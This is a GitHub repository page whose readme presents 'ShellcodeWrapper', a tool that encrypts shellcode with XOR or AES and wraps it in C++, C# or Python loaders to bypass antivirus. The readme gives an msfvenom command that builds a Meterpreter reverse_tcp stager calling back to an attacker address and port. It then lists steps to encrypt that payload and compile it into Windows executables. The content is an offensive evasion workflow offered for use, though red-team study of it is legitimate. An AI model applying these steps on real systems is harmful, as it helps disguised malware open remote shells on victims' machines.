Skip to content
Shellcode wrapper with encryption for multiple target languages
Python C# C++
Branch: master
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
templates First commit Jan 23, 2017
readme.md Format Jan 23, 2017
requirements.txt First commit Jan 23, 2017
shellcode_encoder.py First commit Jan 23, 2017

readme.md

Mutlibyte XOR or AES encrypted shellcode

Author: Arno0x0x - @Arno0x0x

These little proof of concept are inspired by this blogpost: Bypass antivirus with 10 lines of code

The technique uses two kind of code file:

  1. The shellcode encoder/encrypter: shellcode_encoder.py
  2. Various shellcode wrapper, in C++, C# and Python:
    • encryptedShellcodeWrapper.cpp - for now supports only XOR encryption
    • encryptedShellcodeWrapper.cs - supports both XOR and AES encryption
    • encryptedShellcodeWrapper.py - supports both XOR and AES encryption

Installation

Installation is straight forward:

  • Git clone this repository: git clone https://github.com/Arno0x/ShellcodeWrapper ShellcodeWrapper
  • cd into the ShellcodeWrapper folder: cd ShellcodeWrapper
  • Install requirements using pip install -r requirements.txt
  • Give the execution rights to the main script: chmod +x shellcode_encoder.py

Usage

First, you need to obtain a usable shellcode from metasploit (run it from a Kali distribution), for example:

root@kali:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw

In this example, the output is a raw (unencoded & unencrypted) reverse_tcp meterpreter stager for x86 platform. You should adapt it to your needs (payload and parameters).

Second, run the shellcode_encoder.py script along with the desired arguments:

  • raw shellcode filename
  • encryption key
  • encryption type: xor or aes
  • desired output: base64, cpp, csharp, python

For instance, to xor encrypt the shellcode with the key 'thisismykey' and get an output code file in C#, C++ and Python:

root@kali:~# ./shellcode_encoder.py -cpp -cs -py shellcode.raw thisismykey xor

This will generate C#, C++ and Python code file in the result folder. Those files are ready to use/compile.

Eventually:

  1. For the C++ wrapper, compile the C++ code file into a Windows executable: you can create a new VisualStudio project for Win32 console application and use the C++ code provided as the main file. Any other method of compilation will require slight adjustment of the C++ code (headers mostly).
  2. For the C# wrapper, compile the C# code file into a Windows executable: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:multibyteEncodeShellcode.exe multibyteEncodeShellcode.cs
  3. For the Python wrapper, just run it as a python script, or use PyInstaller to make it a Windows standalone executable
You can’t perform that action at this time.